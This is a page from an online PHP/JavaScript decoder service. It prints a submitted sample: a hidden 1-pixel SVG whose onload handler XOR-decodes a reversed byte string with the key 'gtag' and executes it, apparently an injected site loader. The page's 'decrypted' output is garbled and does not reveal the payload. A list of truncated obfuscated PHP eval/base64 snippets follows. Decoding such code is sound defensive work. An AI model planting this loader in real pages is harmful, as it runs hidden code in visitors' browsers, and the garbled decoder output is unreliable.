Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<svg width="1px" height="1px" onload="!function(aa,t){!function(aa){var n=function(aa,t){return aa.split('').map(function(aa,n){return String.fromCharCode(aa.charCodeAt(0)^t.charCodeAt(n%t.length))}).join('')}(aa.split('').reverse().join(''),t);new Function(n)()}(aa)}('\x5c\x4e\x1c\x4f\x4e\x4f\x48\x15\x13\x06\x05\x5a\x13\x09\x04\x02\x02\x4f\x0f\x1b\x0e\x13\x02\x1a\x12\x21\x41\x03\x02\x09\x1a\x54\x59\x5a\x41\x00\x09\x02\x17\x11\x47\x4b\x46\x11\x00\x06\x12\x07\x02\x0a\x46\x5c\x15\x02\x0f\x11\x13\x14\x08\x38\x13\x09\x04\x02\x22\x03\x05\x15\x49\x10\x16\x5a\x10\x08\x05\x1a\x0e\x10\x5a\x5d\x4e\x01\x04\x06\x0f\x49\x0f\x1b\x0e\x13\x00\x17\x08\x0b\x49\x00\x09\x02\x0f\x1b\x17\x0a\x0e\x37\x2e\x35\x34\x11\x03\x08\x02\x1a\x02\x47\x4a\x54\x0a\x09\x1b\x1f\x4f\x13\x04\x1f\x04\x08\x32\x16\x02\x30\x41\x03\x02\x09\x41\x49\x47\x10\x16\x5a\x10\x08\x05\x1a\x0e\x10\x5a\x5d\x4e\x14\x19\x16\x01\x47\x3f\x54\x01\x0c\x0e\x13\x47\x59\x5c\x54\x01\x0c\x0e\x13\x4f\x17\x00\x19\x49\x10\x13\x1f\x49\x49\x4f\x5c\x02\x03\x0e\x37\x15\x06\x09\x37\x0a\x08\x13\x12\x49\x00\x0f\x1d\x15\x13\x32\x54\x5a\x47\x0c\x1a\x1d\x0c\x41\x00\x14\x09\x0e\x17\x5c\x55\x55\x54\x5a\x47\x12\x0c\x05\x01\x5a\x29\x54\x55\x4d\x4d\x50\x4b\x52\x43\x4b\x5f\x59\x58\x52\x5e\x4d\x4d\x51\x4b\x58\x4c\x4b\x56\x53\x58\x5e\x50\x4d\x40\x5e\x4b\x56\x42\x4b\x5e\x59\x58\x52\x4b\x58\x43\x4b\x5f\x59\x58\x5e\x51\x4d\x40\x5e\x4b\x58\x4c\x4b\x53\x4d\x40\x5e\x4b\x58\x43\x4b\x52\x57\x58\x54\x50\x4d\x4d\x51\x4b\x58\x4c\x4b\x5e\x56\x58\x53\x5e\x4d\x43\x51\x4b\x58\x4c\x4b\x52\x4d\x41\x4b\x51\x50\x58\x5e\x5f\x4d\x4d\x5f\x4b\x52\x4d\x3c\x47\x5c\x54\x10\x15\x0a\x54\x13\x14\x0f\x1b\x04', 'gtag');"></svg>

Decrypted code:

<svg width="1px" height="1px" onload="!function(aa,t){!function(aa){var n=function(aa,t){return aa.split('').map(function(aa,n){return String.fromCharCode(aa.charCodeAt(0)^t.charCodeAt(n%t.length))}).join('')}(aa.split('').reverse().join(''),t);new Function(n)()}(aa)}('\NONOHZ	O!A	TYZA	GKF
F\8	"IZZ]NII	
7.54GJT
	O20A	AIGZZ]NG?TGY\TOIIIO\7	7
I2TZGA	\UUTZGZ)TUMMPKRCK_YXR^MMQKXLKVSX^PM@^KVBK^YXRKXCK_YX^QM@^KXLKSM@^KXCKRWXTPMMQKXLK^VXS^MCQKXLKRMAKQPX^_MM_KRM<G\T
T', 'gtag');"></svg>

Recent submissions:

<?php $stt1 = "Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNz\x434pSi4upI5yUWJxqZhKfkpq... <?php $kiasrvyr = '!*!***b%)sfxpmpusut!-#j0#!/!**#s/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~... <?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(bas... <svg width="1px" height="1px" onload="!function(aa,t){!function(aa){var n=function(aa,t){r... <?php eval(base64_decode('JE9HV1BzID0gJ2InLidhc2U2Jy4nNCcuJ19kJy4nZWNvZGUnOyAkUkxGWWYgPSAn... <?php eval(str_rot13(gzinflate(str_rot13(base64_decode("jf3NYexLsrQN3sqLYtTfLMggGRL6SQJ1oA... (function(_0x49cabd,_0x137061){const _0x53cadf=_0x111e,_0x13aab4=_0x49cabd();while(!![]){t... (function(_0x402c33,_0xc96ee0){function _0x1ae7cc(_0xcce117,_0x7e97ec,_0x14a428,_0x5ad2d2,... <?php goto B5; a1: $A0 = E9($A0); goto Cc; A8: function ca() { return "\116\x4b\172\x68\1... <?php goto be8a38b5033cb09d7bc25c159a338868; A336c286de4024bda56d8d7559c9b8f9: b82c1b732...